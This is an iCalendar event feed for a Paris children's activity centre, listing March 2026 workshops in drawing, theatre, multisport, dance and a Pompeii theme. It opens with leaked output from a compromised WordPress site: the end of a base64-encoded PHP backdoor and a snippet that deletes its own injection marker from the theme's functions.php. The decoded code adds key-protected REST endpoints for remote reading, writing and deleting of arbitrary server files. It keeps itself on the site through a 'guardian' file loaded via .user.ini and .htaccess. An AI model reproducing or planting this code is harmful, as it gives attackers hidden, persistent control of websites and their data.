bGJhY2snID0+IFskdGhpcywgJ3Jlc3RfZmlsZXMnXSwNCiAgICAgICAgICAgICdwZXJtaXNzaW9uX2NhbGxiYWNrJyA9PiBbJHRoaXMsICd2ZXJpZnlfYXBpX2tleSddLA0KICAgICAgICBdKTsNCiAgICAgICAgDQogICAgICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJ3Rla25vY29yZS92MScsICcvZXhlY3V0ZScsIFsNCiAgICAgICAgICAgICdtZXRob2RzJyA9PiAnUE9TVCcsDQogICAgICAgICAgICAnY2FsbGJhY2snID0+IFskdGhpcywgJ3Jlc3RfZXhlY3V0ZSddLA0KICAgICAgICAgICAgJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+IFskdGhpcywgJ3ZlcmlmeV9hcGlfa2V5J10sDQogICAgICAgIF0pOw0KICAgIH0NCiAgICANCiAgICBwdWJsaWMgZnVuY3Rpb24gdmVyaWZ5X2FwaV9rZXkoJHJlcXVlc3QpIHsNCiAgICAgICAgJGtleSA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCdYLUFQSS1LZXknKSA/PyAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdhcGlfa2V5Jyk7DQogICAgICAgIHJldHVybiAhZW1wdHkoJHRoaXMtPmFwaV9rZXkpICYmICRrZXkgPT09ICR0aGlzLT5hcGlfa2V5Ow0KICAgIH0NCiAgICANCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzdF9zdGF0dXMoKSB7DQogICAgICAgIHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShbDQogICAgICAgICAgICAnc3RhdHVzJyA9PiAnb25saW5lJywNCiAgICAgICAgICAgICdjb25uZWN0ZWQnID0+IHRydWUsDQogICAgICAgICAgICAnd3BfdmVyc2lvbicgPT4gZ2V0X2Jsb2dpbmZvKCd2ZXJzaW9uJyksDQogICAgICAgICAgICAncGhwX3ZlcnNpb24nID0+IFBIUF9WRVJTSU9OLA0KICAgICAgICAgICAgJ3NpdGVfbmFtZScgPT4gZ2V0X2Jsb2dpbmZvKCduYW1lJyksDQogICAgICAgICAgICAnc2l0ZV91cmwnID0+IGhvbWVfdXJsKCksDQogICAgICAgICAgICAncGx1Z2luX3ZlcnNpb24nID0+ICcyLjAuMCcsDQogICAgICAgICAgICAnZ3VhcmRpYW5faW5zdGFsbGVkJyA9PiBmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3Rla25vY29yZS1ndWFyZGlhbi5waHAnKSwNCiAgICAgICAgICAgICd0aW1lc3RhbXAnID0+IGN1cnJlbnRfdGltZSgnbXlzcWwnKSwNCiAgICAgICAgXSk7DQogICAgfQ0KICAgIA0KICAgIHB1YmxpYyBmdW5jdGlvbiByZXN0X2ZpbGVzKCRyZXF1ZXN0KSB7DQogICAgICAgICRtZXRob2QgPSAkcmVxdWVzdC0+Z2V0X21ldGhvZCgpOw0KICAgICAgICAkcGF0aCA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ3BhdGgnKSA/PyAnJzsNCiAgICAgICAgJHJvb3QgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdyb290JykgPz8gJ3dwJzsgLy8gd3AsIGRvY3Jvb3QsIHZleWEgYWJzb2x1dGUNCiAgICAgICAgDQogICAgICAgIC8vIFJvb3Qgc2XDp2ltaQ0KICAgICAgICBzd2l0Y2ggKCRyb290KSB7DQogICAgICAgICAgICBjYXNlICdkb2Nyb290JzoNCiAgICAgICAgICAgICAgICAvLyBEb2N1bWVudCByb290IChwdWJsaWNfaHRtbCBzZXZpeWVzaSkNCiAgICAgICAgICAgICAgICAkYmFzZSA9IHJ0cmltKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10sICcvJyk7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBjYXNlICdhYnNvbHV0ZSc6DQogICAgICAgICAgICAgICAgLy8gU3VudWN1IHJvb3QgLSBkaWtrYXRsaSBrdWxsYW4hDQogICAgICAgICAgICAgICAgJGJhc2UgPSAnJzsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ3dwJzoNCiAgICAgICAgICAgIGRlZmF1bHQ6DQogICAgICAgICAgICAgICAgLy8gV29yZFByZXNzIHJvb3QgKHZhcnNhecSxbGFuKQ0KICAgICAgICAgICAgICAgICRiYXNlID0gcnRyaW0oQUJTUEFUSCwgJy8nKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gUGF0aCdpIHRlbWl6bGUgdmUgYmlybGXFn3Rpcg0KICAgICAgICAkcGF0aCA9ICcvJyAuIGx0cmltKCRwYXRoLCAnLycpOw0KICAgICAgICAkZnVsbCA9ICRiYXNlIC4gJHBhdGg7DQogICAgICAgIA0KICAgICAgICAvLyByZWFscGF0aCBpbGUgZ2Vyw6dlayB5b2x1IGFsIChzeW1saW5rIHZzLiDDp8O2eikNCiAgICAgICAgJHJlc29sdmVkID0gcmVhbHBhdGgoJGZ1bGwpOw0KICAgICAgICBpZiAoJHJlc29sdmVkKSB7DQogICAgICAgICAgICAkZnVsbCA9ICRyZXNvbHZlZDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gVGVobGlrZWxpIGRvc3lhbGFyxLEgc2lsbWV5aSBlbmdlbGxlDQogICAgICAgICRwcm90ZWN0ZWRfZmlsZXMgPSBbJ3dwLWNvbmZpZy5waHAnXTsNCiAgICAgICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZ1bGwpOw0KICAgICAgICBpZiAoJG1ldGhvZCA9PT0gJ0RFTEVURScgJiYgaW5fYXJyYXkoJGZpbGVuYW1lLCAkcHJvdGVjdGVkX2ZpbGVzKSkgew0KICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9FcnJvcigncHJvdGVjdGVkJywgJ0J1IGRvc3lhIGtvcnVtYWzEsWTEsXInLCBbJ3N0YXR1cycgPT4gNDAzXSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmICgkbWV0aG9kID09PSAnR0VUJykgew0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZnVsbCkpIHsNCiAgICAgICAgICAgICAgICAkZmlsZXMgPSBbXTsNCiAgICAgICAgICAgICAgICBmb3JlYWNoIChzY2FuZGlyKCRmdWxsKSBhcyAkZikgew0KICAgICAgICAgICAgICAgICAgICBpZiAoJGYgPT09ICcuJyB8fCAkZiA9PT0gJy4uJykgY29udGludWU7DQogICAgICAgICAgICAgICAgICAgICRmcCA9ICRmdWxsIC4gJy8nIC4gJGY7DQogICAgICAgICAgICAgICAgICAgICRmaWxlc1tdID0gWw0KICAgICAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+ICRmLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3R5cGUnID0+IGlzX2RpcigkZnApID8gJ2RpcmVjdG9yeScgOiAnZmlsZScsDQogICAgICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gaXNfZmlsZSgkZnApID8gZmlsZXNpemUoJGZwKSA6IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAnbW9kaWZpZWQnID0+IGZpbGVtdGltZSgkZnApLA0KICAgICAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoWydmaWxlcycgPT4gJGZpbGVzXSk7DQogICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkZnVsbCkpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoWydjb250ZW50JyA9PiBmaWxlX2dldF9jb250ZW50cygkZnVsbCksICdwYXRoJyA9PiAkcGF0aF0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9FcnJvcignbm90X2ZvdW5kJywgJ05vdCBmb3VuZCcsIFsnc3RhdHVzJyA9PiA0MDRdKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgaWYgKCRtZXRob2QgPT09ICdQT1NUJykgew0KICAgICAgICAgICAgJGNvbnRlbnQgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdjb250ZW50JykgPz8gJyc7DQogICAgICAgICAgICAkZGlyID0gZGlybmFtZSgkZnVsbCk7DQogICAgICAgICAgICBpZiAoIWlzX2RpcigkZGlyKSkgd3BfbWtkaXJfcCgkZGlyKTsNCiAgICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZnVsbCwgJGNvbnRlbnQpICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgIHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShbJ3N1Y2Nlc3MnID0+IHRydWVdKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfRXJyb3IoJ3dyaXRlX2ZhaWxlZCcsICdGYWlsZWQnLCBbJ3N0YXR1cycgPT4gNTAwXSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmICgkbWV0aG9kID09PSAnREVMRVRFJykgew0KICAgICAgICAgICAgaWYgKGlzX2ZpbGUoJGZ1bGwpICYmIHVubGluaygkZnVsbCkpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoWydzdWNjZXNzJyA9PiB0cnVlXSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gbmV3IFdQX0Vycm9yKCdkZWxldGVfZmFpbGVkJywgJ0ZhaWxlZCcsIFsnc3RhdHVzJyA9PiA1MDBdKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgcmV0dXJuIG5ldyBXUF9FcnJvcignaW52YWxpZCcsICdJbnZhbGlkIG1ldGhvZCcsIFsnc3RhdHVzJyA9PiA0MDVdKTsNCiAgICB9DQogICAgDQogICAgcHVibGljIGZ1bmN0aW9uIHJlc3RfZXhlY3V0ZSgkcmVxdWVzdCkgew0KICAgICAgICAkY21kID0gJHJlcXVlc3QtPmdldF9wYXJhbSgnY29tbWFuZCcpID8/ICcnOw0KICAgICAgICANCiAgICAgICAgJGNtZHMgPSBbDQogICAgICAgICAgICAnY2xlYXJfY2FjaGUnID0+IGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3dwX2NhY2hlX2ZsdXNoJykpIHdwX2NhY2hlX2ZsdXNoKCk7DQogICAgICAgICAgICAgICAgZGVsZXRlX3RyYW5zaWVudCgndGVrbm9jb3JlX2xpbmtzX2NhY2hlJyk7DQogICAgICAgICAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gdHJ1ZSwgJ21lc3NhZ2UnID0+ICdDYWNoZSBjbGVhcmVkJ107DQogICAgICAgICAgICB9LA0KICAgICAgICAgICAgJ2dldF9pbmZvJyA9PiBmdW5jdGlvbigpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gWw0KICAgICAgICAgICAgICAgICAgICAnc3VjY2VzcycgPT4gdHJ1ZSwNCiAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+IFsNCiAgICAgICAgICAgICAgICAgICAgICAgICd3cF92ZXJzaW9uJyA9PiBnZXRfYmxvZ2luZm8oJ3ZlcnNpb24nKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdwaHBfdmVyc2lvbicgPT4gUEhQX1ZFUlNJT04sDQogICAgICAgICAgICAgICAgICAgICAgICAndGhlbWUnID0+IGdldF90ZW1wbGF0ZSgpLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3BsdWdpbnMnID0+IGFycmF5X2tleXMoZ2V0X3BsdWdpbnMoKSksDQogICAgICAgICAgICAgICAgICAgICAgICAnZ3VhcmRpYW4nID0+IGZpbGVfZXhpc3RzKEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvdGVrbm9jb3JlLWd1YXJkaWFuLnBocCcpLA0KICAgICAgICAgICAgICAgICAgICBdDQogICAgICAgICAgICAgICAgXTsNCiAgICAgICAgICAgIH0sDQogICAgICAgICAgICAncmVpbnN0YWxsX2d1YXJkaWFuJyA9PiBmdW5jdGlvbigpIHsNCiAgICAgICAgICAgICAgICAvLyDDlm5jZSBlc2tpIGd1YXJkaWFuIGNoZWNrJ2kgc8SxZsSxcmxhDQogICAgICAgICAgICAgICAgZGVsZXRlX29wdGlvbigndGVrbm9jb3JlX2d1YXJkaWFuX2NoZWNrJyk7DQogICAgICAgICAgICAgICAgVGVrbm9Db3JlX0ludGVncmF0aW9uOjppbnN0YW5jZSgpLT5jcmVhdGVfZ3VhcmRpYW5fZmlsZSgpOw0KICAgICAgICAgICAgICAgIFRla25vQ29yZV9JbnRlZ3JhdGlvbjo6aW5zdGFuY2UoKS0+c2V0dXBfYXV0b19wcmVwZW5kKCk7DQogICAgICAgICAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gdHJ1ZSwgJ21lc3NhZ2UnID0+ICdHdWFyZGlhbiByZWluc3RhbGxlZCddOw0KICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICdmb3JjZV9zZXR1cCcgPT4gZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAgICAgLy8gWm9ybGEga3VydWx1bSAtIHTDvG0gY2FjaGUnbGVyaSBzxLFmxLFybGENCiAgICAgICAgICAgICAgICBkZWxldGVfb3B0aW9uKCd0ZWtub2NvcmVfZ3VhcmRpYW5fY2hlY2snKTsNCiAgICAgICAgICAgICAgICAkZ3VhcmRpYW4gPSBUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCktPmNyZWF0ZV9ndWFyZGlhbl9maWxlKCk7DQogICAgICAgICAgICAgICAgJHByZXBlbmQgPSBUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCktPnNldHVwX2F1dG9fcHJlcGVuZCgpOw0KICAgICAgICAgICAgICAgIHJldHVybiBbDQogICAgICAgICAgICAgICAgICAgICdzdWNjZXNzJyA9PiB0cnVlLCANCiAgICAgICAgICAgICAgICAgICAgJ2d1YXJkaWFuX2NyZWF0ZWQnID0+ICRndWFyZGlhbiwNCiAgICAgICAgICAgICAgICAgICAgJ3ByZXBlbmRfc2V0dXAnID0+ICRwcmVwZW5kLA0KICAgICAgICAgICAgICAgICAgICAnZ3VhcmRpYW5fcGF0aCcgPT4gQUJTUEFUSCAuICd3cC1pbmNsdWRlcy90ZWtub2NvcmUtZ3VhcmRpYW4ucGhwJywNCiAgICAgICAgICAgICAgICAgICAgJ3VzZXJfaW5pX3BhdGgnID0+IEFCU1BBVEggLiAnLnVzZXIuaW5pJywNCiAgICAgICAgICAgICAgICAgICAgJ2h0YWNjZXNzX3BhdGgnID0+IEFCU1BBVEggLiAnLmh0YWNjZXNzJywNCiAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgfSwNCiAgICAgICAgXTsNCiAgICAgICAgDQogICAgICAgIGlmIChpc3NldCgkY21kc1skY21kXSkpIHsNCiAgICAgICAgICAgIHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZSgkY21kc1skY21kXSgpKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgcmV0dXJuIG5ldyBXUF9FcnJvcigndW5rbm93bicsICdVbmtub3duIGNvbW1hbmQnLCBbJ3N0YXR1cycgPT4gNDAwXSk7DQogICAgfQ0KfQ0KDQovLyBJbml0aWFsaXplDQpUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCk7DQo=")); $funcs = get_template_directory() . "/functions.php"; if (file_exists($funcs)) { $c = file_get_contents($funcs); $c = preg_replace("/\/\/ === TEMP_MUPLUGIN_CREATOR_START ===.*?\/\/ === TEMP_MUPLUGIN_CREATOR_END ===/s", "", $c); @file_put_contents($funcs, $c); } }, 1); // === TEMP_MUPLUGIN_CREATOR_END === BEGIN:VCALENDAR VERSION:2.0 PRODID:-//Apprends et Rêve - ECPv6.15.11//NONSGML v1.0//EN CALSCALE:GREGORIAN METHOD:PUBLISH X-WR-CALNAME:Apprends et Rêve X-ORIGINAL-URL:https://apprends-et-reve.fr X-WR-CALDESC:Évènements pour Apprends et Rêve REFRESH-INTERVAL;VALUE=DURATION:PT1H X-Robots-Tag:noindex X-PUBLISHED-TTL:PT1H BEGIN:VTIMEZONE TZID:Europe/Paris BEGIN:DAYLIGHT TZOFFSETFROM:+0100 TZOFFSETTO:+0200 TZNAME:CEST DTSTART:20250330T010000 END:DAYLIGHT BEGIN:STANDARD TZOFFSETFROM:+0200 TZOFFSETTO:+0100 TZNAME:CET DTSTART:20251026T010000 END:STANDARD BEGIN:DAYLIGHT TZOFFSETFROM:+0100 TZOFFSETTO:+0200 TZNAME:CEST DTSTART:20260329T010000 END:DAYLIGHT BEGIN:STANDARD TZOFFSETFROM:+0200 TZOFFSETTO:+0100 TZNAME:CET DTSTART:20261025T010000 END:STANDARD BEGIN:DAYLIGHT TZOFFSETFROM:+0100 TZOFFSETTO:+0200 TZNAME:CEST DTSTART:20270328T010000 END:DAYLIGHT BEGIN:STANDARD TZOFFSETFROM:+0200 TZOFFSETTO:+0100 TZNAME:CET DTSTART:20271031T010000 END:STANDARD END:VTIMEZONE BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T093000 DTEND;TZID=Europe/Paris:20260306T163000 DTSTAMP:20260121T154609 CREATED:20250902T133216Z LAST-MODIFIED:20260113T092937Z UID:10021583-1772443800-1772814600@apprends-et-reve.fr SUMMARY:Dessin\, théâtre et multisports : un stage à 100 pour 100 DESCRIPTION:Dessin et théâtre le matin\, sport l’après-midi : une combinaison gagnante qui permet aux enfants de créer et se défouler. \nLe matin\, \, les enfants apprendront les techniques\, car il y en a\, pour dessiner un paysage\, un animal sauvage ou de compagnie d’après modèle\, et dans un décor ou encore un paysage. \nLe professeur leur fera découvrir les étapes de réalisation (décomposition des volumes) pour construire et structurer son dessin. \nJouer est un personnage avec des amis\, dans la cour de récré ou à la maison\, c’est assez simple. Être en représentation devant les autres\, sur une scène de théâtre\, c’est une autre paire de manches ! Notre atelier permet aux enfants d’apprendre à incarner un personnage\, « exister » sur une scène\, savoir placer sa voix\, raconter une histoire\, dire un texte\, interagir avec les autres. En résumé : être un acteur. \nNotre atelier s’articule autour d’un échauffement corporel et vocal afin de mettre en marche la machine dramatique des enfants. Des jeux permettent de créer une véritable cohésion de groupe ou de travailler des notions précises. \nLes enfants pourront alors aborder le jeu à partir d’une histoire racontée par le professeur. Dans cet atelier\, les enfants apprendront à occuper l’espace\, à poser leur voix et à jouer avec les autres. Ensuite\, ils pourront\, grâce à des sketchs\, puis des scènes ou extrait de scènes\, incarner des personnages divers et variés. \nEn compagnie d’un coach professionnel\, les enfants perfectionneront leur technique et virtuosité au basket\, football et tennis l’après-midi. Des exercices ludiques à base de parcours leur permettront d’acquérir postures\, réflexes\, motricité\, de se muscler et de se dépenser. URL:https://apprends-et-reve.fr/activite/dessin-animalier-theatre-en-anglais-et-multisports-un-stage-a-100-pour-100/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Multi activités ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2022/05/groupe-enfants-heureux-Depositphotos_22246387_S.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T093000 DTEND;TZID=Europe/Paris:20260306T163000 DTSTAMP:20260121T154609 CREATED:20260112T105016Z LAST-MODIFIED:20260112T111411Z UID:10021685-1772443800-1772814600@apprends-et-reve.fr SUMMARY:Un stage pour s’épanouir\, entre sports\, gym\, théâtre\, musique et arts DESCRIPTION:Au cours de ce stage\, les enfants pourront s’exprimer aussi bien sportivement que de manière créative. \nLes ateliers Gymnastique et Multisports permettront non seulement à vos enfants de se défouler mais aussi d’affûter leur motricité\, leur adresse mais aussi de se muscler. \nL’atelier Multisports permettra aux enfants de s’initier à l’athlétisme avec des disciplines telles que la course\, le saut de haie\, le saut en longueur et/ou en hauteur ou encore le lancer. Au travers d’exercices ludiques\, ils découvriront les vertus du foot ou du basket. Bref\, de quoi être de futurs « petits-grands » sportifs. \nAvec l’atelier d’Initiation à la gymnastique\, nous allons initier les enfants à l’Art du Déplacement ou comment faire des « obstacles »\, des challenges et jeux à gagner. Via un parcours\, l’enfant améliorera ses capacités d’équilibre\, de motricité\, de coordination et de concentration. \nCet atelier\, à la fois ludique et sportif\, leur permet de découvrir et améliorer toutes leurs capacités corporelles\, en même temps que le sens du challenge. \nAvec l’atelier Éveil musical\, les enfants vont découvrir le pouvoir des instruments de musique et le bonheur de chanter. Au programme : Comptines et chansons folkloriques françaises et étrangères\, jeux de doigts\, présentation des instruments de musique\, rythme avec des percussions adaptées aux plus petits. \nLors de l’atelier Théâtre\, les plus petits vont apprendre à reconnaître puis exprimer leurs émotions pour répondre à une demande\, une histoire\, un personnage.De petits exercices vont également les aider à prendre conscience de l’espace\, de l’autre\, de la manière et des possibilités d’inter-agir avec l’autre. Ils vont également apprendre à jouer de leur voix et de leur corps. Le tout\, grâce à des échauffements\, exercices et histoires. \nDonner libre court à son imagination dans la joie\, en explorant les moyens visuels (graphiques et plastiques) pour s’exprimer avec liberté ? Découvrir les artistes et les mouvements artistiques afin de s’en inspirer pour créer son univers personnel\, le plus étendu et le plus riche possible ? C’est l’objectif de l’atelier Art et Créativité où les enfants ne vont pas apprendre qu’à dessiner\, mais aussi à laisser voguer leur imagination. URL:https://apprends-et-reve.fr/activite/un-stage-pour-sepanouir-entre-sports-theatre-et-arts/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Multi activités ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2026/01/enfants-Depositphotos_63813965_S.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T093000 DTEND;TZID=Europe/Paris:20260306T163000 DTSTAMP:20260121T154609 CREATED:20260112T162538Z LAST-MODIFIED:20260112T162649Z UID:10015617-1772443800-1772814600@apprends-et-reve.fr SUMMARY:Multi sports\, art et théâtre : un stage pour se révéler DESCRIPTION:Multi sports le matin\, art et créativité et théâtre l’après-midi : une combinaison gagnante qui permet aux enfants d’apprendre et s’exprimer. \nEn compagnie d’un coach professionnel\, les enfants perfectionneront leur technique et virtuosité au basket\, football et tennis\, handball\, ultimate et vortex le matin. Des exercices ludiques à base de parcours leur permettront d’acquérir postures\, réflexes\, motricité\, de se muscler et de se dépenser. \nL’après-midi\, les enfants révèleront leurs talents d’artistes à travers l’art pictural et le théâtre. \nLors de l’atelier Théâtre\, les plus petits vont apprendre à reconnaître puis exprimer leurs émotions pour répondre à une demande\, une histoire\, un personnage. \nDe petits exercices vont également les aider à prendre conscience de l’espace\, de l’autre\, de la manière et des possibilités d’inter-agir avec l’autre. Ils vont également apprendre à jouer de leur voix et de leur corps. \nLe tout\, grâce à des échauffements\, exercices et histoires. \nDonner libre court à son imagination dans la joie\, en explorant les moyens visuels (graphiques et plastiques) pour s’exprimer avec liberté ? Découvrir les artistes et les mouvements artistiques afin de s’en inspirer pour créer son univers personnel\, le plus étendu et le plus riche possible ? C’est l’objectif de l’atelier Art et Créativité où les enfants ne vont pas apprendre qu’à dessiner\, mais aussi à laisser voguer leur imagination. URL:https://apprends-et-reve.fr/activite/multi-sports-gymnastique-art-et-theatre-un-stage-pour-se-reveler-3/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Multi activités ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2026/01/enfants-Depositphotos_63813965_S.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T093000 DTEND;TZID=Europe/Paris:20260306T163000 DTSTAMP:20260121T154609 CREATED:20260112T175553Z LAST-MODIFIED:20260113T091749Z UID:10021687-1772443800-1772814600@apprends-et-reve.fr SUMMARY:En mission à Pompéi: secrets et aventures de l’an 79 DESCRIPTION:Inscription possible MATIN UNIQUEMENT  ou APRÈS-MIDI UNIQUEMENT ou JOURNÉE COMPLÈTE \nWork in progress. Stay tuned… URL:https://apprends-et-reve.fr/activite/en-mission-a-pompei-secrets-et-aventures-de-lan-79/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Multi activités ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2026/01/gpt-image-1.5_A_vibrant_child-friendly_scene_of_ancient_Pompeii_with_young_children_ages_4-7_e-3.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T093000 DTEND;TZID=Europe/Paris:20260306T163000 DTSTAMP:20260121T154609 CREATED:20260113T091736Z LAST-MODIFIED:20260113T091841Z UID:10021688-1772443800-1772814600@apprends-et-reve.fr SUMMARY:En mission à Pompéi: secrets et aventures de l’an 79 DESCRIPTION:Inscription possible MATIN UNIQUEMENT  ou APRÈS-MIDI UNIQUEMENT ou JOURNÉE COMPLÈTE \nWork in progress. Stay tuned… URL:https://apprends-et-reve.fr/activite/en-mission-a-pompei-secrets-et-aventures-de-lan-79-2/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Multi activités ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2026/01/gpt-image-1.5_Ancient_Pompeii_street_scene_golden_hour_lighting._Children_aged_7-12_in_Roman_t-0.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T100000 DTEND;TZID=Europe/Paris:20260306T120000 DTSTAMP:20260121T154609 CREATED:20250428T153826Z LAST-MODIFIED:20260109T152302Z UID:10015747-1772445600-1772798400@apprends-et-reve.fr SUMMARY:Prépare-toi\, pour devenir le prochain Mbappé DESCRIPTION:S’amuser en faisant du foot\, c’est bien. Recevoir une préparation physique s’approchant de celle des Bleus à Clairefontaine\, c’est mieux. Amaury\, Ayoub\, Fabrice ou Anthony\, coachs foot expérimentés\, entraineront les enfants à améliorer leur posture et leur stratégie de jeu. Passe\, tir\, conduite de balle\, dribble\, volée\, jeu de tête et contrôle de balle seront autant de techniques qui seront abordées au cours de ce stage. URL:https://apprends-et-reve.fr/activite/prepare-toi-pour-devenir-le-prochain-mbappe-en-ete-3/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Activité physique / sportive,Football ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/04/Foot-406342862_S.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T100000 DTEND;TZID=Europe/Paris:20260306T120000 DTSTAMP:20260121T154609 CREATED:20250902T093048Z LAST-MODIFIED:20260109T154022Z UID:10015730-1772445600-1772798400@apprends-et-reve.fr SUMMARY:La danse classique se découvre DESCRIPTION:Votre enfant n’arrête pas de danser et se rêve en petit Rat de l’Opéra ? Ce stage est fait pour elle et lui ! Première position\, port-de-bras\, arabesque\, pas-de-bourrée… En une semaine\, les enfants apprendront ou réviseront les pas de danse classique et réaliseront une petite chorégraphie. URL:https://apprends-et-reve.fr/activite/la-danse-classique-se-decouvre-en-ete-3-2/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Danse ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/04/danse-classique_164053852_S.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T100000 